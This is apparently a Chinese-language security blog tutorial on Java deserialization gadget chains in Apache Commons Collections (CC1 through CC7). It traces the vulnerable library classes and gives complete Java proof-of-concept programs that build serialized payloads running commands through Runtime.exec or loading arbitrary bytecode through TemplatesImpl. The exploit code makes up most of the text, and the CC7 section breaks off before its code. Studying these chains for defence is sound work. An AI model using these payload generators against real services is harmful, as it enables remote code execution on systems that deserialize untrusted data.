前言
经典的Java反序列化漏洞
漏洞主要集中于Apache Commons Collections组件,其内部封装了许多方法用来方便开发人员使用。
org.apache.commons.collections
– CommonsCollections自定义的一组公用的接口和工具类
org.apache.commons.collections.bag
– 实现Bag接口的一组类
org.apache.commons.collections.bidimap
– 实现BidiMap系列接口的一组类
org.apache.commons.collections.buffer
– 实现Buffer接口的一组类
org.apache.commons.collections.collection
–实现java.util.Collection接口的一组类
org.apache.commons.collections.comparators
– 实现java.util.Comparator接口的一组类
org.apache.commons.collections.functors
–Commons Collections自定义的一组功能类
org.apache.commons.collections.iterators
– 实现java.util.Iterator接口的一组类
org.apache.commons.collections.keyvalue
– 实现集合和键/值映射相关的一组类
org.apache.commons.collections.list
– 实现java.util.List接口的一组类
org.apache.commons.collections.map
– 实现Map系列接口的一组类
org.apache.commons.collections.set
– 实现Set系列接口的一组类
环境搭建主要使用了jdk8u65,Commons Collections<=3.2.1,Commons Collections4.0
CC链分析
CC1
漏洞影响:Commons Collections<=3.2.1 jdk<8u71
首先需要关注的是Transformer接口,其逻辑如下,主要是用来接收一个对象将其进行转化
1 2 3
| public interface Transformer { public Object transform(Object input); }
|
其接口具有几个关键的实现类
首先是ConstantTransformer类,其transform函数是接收任意对象,返回一个常量,关键代码如下
1 2 3 4 5 6 7 8 9 10
| public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant; public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } }
|
InvokerTransformer类,transform方法通过反射实现对接收对象任意方法任意参数的调用,也是CC1链中最后执行命令的位置,关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (...Exception ex) { throw ...; } } }
|
ChainedTransformer类,其内部有一个存储Transformer类的数组,对接收的对象以此调用数组中的transform,关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
|
在了解了以上后,我们可以轻松的写出初步的命令执行
1 2 3
| Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}); invokerTransformer.transform(r);
|
接下来需要去寻找完整调用链,即寻找调用transform函数的其他类
我们注意到TransformedMap类,其checkSetValue函数中调用了transform方法,TransformedMap类的关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } protected Object checkSetValue(Object value) { return valueTransformer.transform(value); } }
|
接下来要寻找哪个类的方法调用了checkSetValue函数,经过查找后只有一处,为AbstractInputCheckedMapDecorator类的内部类MapEntry的setValue方法,MapEntry类作用是遍历整个Map,其每次会存储一个键值对,setValue方法其实是重写了AbstractMapEntryDecorator类的setValue
1 2 3 4 5 6 7 8 9 10 11
| static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
|
此时,可以写出更进一步的命令执行方式
1 2 3 4 5 6 7 8
| Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); for(Map.Entry entry: transformedMap.entrySet()){ entry.setValue(r); }
|
最后,需要去寻找一个可以通过readObject方法调用到setValue函数的类
注意到AnnotationInvocationHandler类的readObject方法有和上面命令执行类似的代码,其主要代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw ...; this.type = type; this.memberValues = memberValues; } private void readObject(java.io.ObjectInputStream s) throws ... { s.defaultReadObject(); AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { throw ...; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)) ); } } } } }
|
目前,看起来似乎已经找到了一个完整的调用链,但其实还存在几个问题
首先是Runtime未继承序列化接口,无法序列化,对此的解决方案是通过对Runtime.class进行反射来执行代码,因此部分代码可以修改为
1 2 3 4 5 6 7
| Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
接着是绕过AnnotationInvocationHandler.readObject方法的几个if判断,需要将传进去的注解内容与key相同。
最后是setValue的参数无法控制的问题,上面已经给出了方式,就是通过ConstantTransformer类来返回固定的对象。
于是,我们可以写出完整的CC1 TransformedMap链代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public class CC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Retention.class, transformedMap); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } }
|
LazyMap链
上面我们分析了TransformedMap链的内容,除了TransformedMap类调用了transform方法,LazyMap类也调用了transform方法。其关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public class LazyMap extends AbstractMapDecorator implements Map, Serializable { protected final Transformer factory; public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; } public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
|
注意到上文提及的AnnotationInvocationHandler类中invoke方法调用了get函数,其方法主要内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method"); switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; } Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result; }
|
接下来需要绕过一些if判断,方法名不能为toString、hashCode、annotationType,且参数个数必须为0。至此,我们可以写出利用链初步的框架
1 2 3 4 5 6 7 8 9 10 11 12 13
| Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap); handler.invoke(null,Class.forName("java.lang.Object").getMethod("wait"),null);
|
invoke方法可以在动态代理内部触发,在对动态代理调用任意方法时,都会通过invoke方法来对接收的对象进行反射调用,而巧合的是AnnotationInvocationHandler类中readObject方法有一处memberValues.entrySet()正好符合可以绕过if判断的需求,因此可以得到完整的CC1 LazyMap调用链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| public class CC1 { public static void main(String[] args) throws Throwable { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)declaredConstructor.newInstance(Override.class, lazyMap); Map m = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); Object o = declaredConstructor.newInstance(Override.class, m); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } }
|
CC6
漏洞影响:Commons Collections<=3.2.1 jdk1.7,1.8 影响比较大的一条链
CC6与CC1的区别在于入口点处发生改变,后面从LazyMap开始都是一样的。
注意到TiedMapEntry类中,hashCode方法调用了getValue,getValue调用了get函数,达到LazyMap的get方法调用。TiedMapEntry类主要代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private final Map map; private final Object key; public TiedMapEntry(Map map, Object key) { super(); this.map = map; this.key = key; } public Object getValue() { return map.get(key); } public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
|
而HashMap类中反序列化时会调用hashCode,可以参考URLDNS链来完成入口点处。HashMap类主要代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable { static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { ...; if (...) { for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
|
进而可以编写CC6调用链,其中lazyMap.remove(“aaa”)是因为put方法会调用HashCode,将aaa值插入到LazyMap,导致反序列化无法正常调用,反射更改factory是为了防止命令在本地执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, new ConstantTransformer("ccc")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa"); HashMap<Object, Object> o = new HashMap<>(); o.put(tiedMapEntry, "bbb"); lazyMap.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class; Field factory = lazyMapClass.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap, chainedTransformer);
serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } }
|
CC3
还是在CC1的基础上进行改进,CC1链中只能通过反射来调用命令,CC3中引入了TemplatesImpl类进行任意类加载调用静态代码块,去除了一些限制。先看一下TemplatesImpl类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| public final class TemplatesImpl implements Templates, Serializable { private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; private String _name = null; private byte[][] _bytecodes = null; private Class[] _class = null; private int _transletIndex = -1; private transient Map<String, Class<?>> _auxClasses = null; private transient TransformerFactoryImpl _tfactory = null; public TemplatesImpl() { } private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (...Exception e) { throw new ...Exception(err.toString()); } } public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; } }
|
TrAXFilter类中的构造函数中调用了newTransformer方法
1 2 3 4 5 6 7 8 9 10 11 12
| public class TrAXFilter extends XMLFilterImpl { private Templates _templates; private TransformerImpl _transformer; private TransformerHandlerImpl _transformerHandler; private boolean _useServicesMechanism = true; public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); } }
|
看起来已经可以完成这条链了,但是CC3中引入了一个新的Transformer类:InstantiateTransformer,其主要功能是反射调用一个类的构造函数并执行,主要代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class InstantiateTransformer implements Transformer, Serializable { private final Class[] iParamTypes; private final Object[] iArgs; public Object transform(Object input) { try { if (input instanceof Class == false) { throw new FunctorException(...); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); } catch (...Exception ex) { throw new ...Exception("...", ex); } } }
|
于是可以完成CC3链的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public class CC3 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Constructor<?> declaredConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true); Object o = declaredConstructor.newInstance(Retention.class, transformedMap); serialize(o); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } }
|
CC4
从CC4开始,进入到commons collections4的环境中
CC4调用链的后半部分与CC3无大致差别,依旧是ChainedTransformer调用InstantiateTransformer来加载代码。
在TransformingComparator类中compare方法中调用了transform函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public class TransformingComparator<I, O> implements Comparator<I>, Serializable { private final Comparator<O> decorated; private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(final Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; } public int compare(final I obj1, final I obj2) { final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } }
|
接着使用PriorityQueue的siftDownUsingComparator方法调用compare函数,恰好中PriorityQueue的readObject方法调用heapify再调用siftDown最后可以走到siftDownUsingComparator方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public class PriorityQueue<E> extends AbstractQueue<E> implements java.io.Serializable { public PriorityQueue(Comparator<? super E> comparator) { this(DEFAULT_INITIAL_CAPACITY, comparator); } public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; } private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); } private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; } private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); } private void readObject(java.io.ObjectInputStream s) throws ...Exception { s.defaultReadObject(); s.readInt(); queue = new Object[size]; for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); }
|
进而写出CC4代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| public class CC4 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class<? extends TransformingComparator> c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, chainedTransformer); serialize(priorityQueue); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } }
|
CC2
和CC4比较相似,区别是舍去了ChainedTransformer和InstantiateTransformer,而采用InvokerTransformer直接对TemplatesImpl调用newTransformer(因为transform接收的参数可控)
这里直接给出代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| public class CC2 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "foo");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("hack.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2); Class<? extends TransformingComparator> c = transformingComparator.getClass(); Field transformerField = c.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } }
|
CC5
cc5和cc7链又回到了Commons Collections<=3.2.1的范围
CC5和CC1、CC3的区别是不再借助 AnnotationInvocationHandler 的反序列化触发而是通过TiedMapEntry的toString方法调用LazyMap的get方法
1 2 3 4 5 6 7 8
| public class TiedMapEntry implements Map.Entry, KeyValue, Serializable { private final Map map; public Object getValue() { return map.get(key); } public String toString() { return getKey() + "=" + getValue(); }
|
接着通过BadAttributeValueExpException类的readObject方法调用TiedMapEntry的toString方法完成调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public class BadAttributeValueExpException extends Exception { private Object val; public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
|
最终实现代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public class CC5 { public static void main(String[] args) throws Throwable { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Field val = badAttributeValueExpException.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(badAttributeValueExpException, tiedMapEntry);
serialize(badAttributeValueExpException); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } }
|
CC7
CC7链后半段与CC1、CC5相似,区别是通过AbstractMap的equals方法来调用LazyMap的get,再用Hashtable的reconstitutionPut方法调用equals,Hashtable关键代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| public class Hashtable<K,V> extends Dictionary<K,V> implements Map<K,V>, Cloneable, java.io.Serializable { private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); int origlength = s.readInt(); int elements = s.readInt(); int length = (int)(elements * loadFactor) + (elements / 20) + 3; if (length > elements && (length & 1) == 0) length--; if (origlength > 0 && length > origlength) length = origlength; table = new Entry<?,?>[length]; threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1); count = 0; for (; elements > 0; elements--) { K key = (K)s.readObject(); V value = (V)s.readObject(); reconstitutionPut(table, key, value); } } private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { throw new java.io.StreamCorruptedException(); } int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java.io.StreamCorruptedException(); } } Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; } }
|
注意到e.hash == hash的判断,因此需要对两个输入对象进行哈希碰撞,在Java中存在一个”yy”与”zZ”的哈希碰撞,于是可以顺利写出调用链,其中lazyMap0.remove(“yy”)是因为判断yy是否存在后会向lazyMap0添加一个yy的键。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
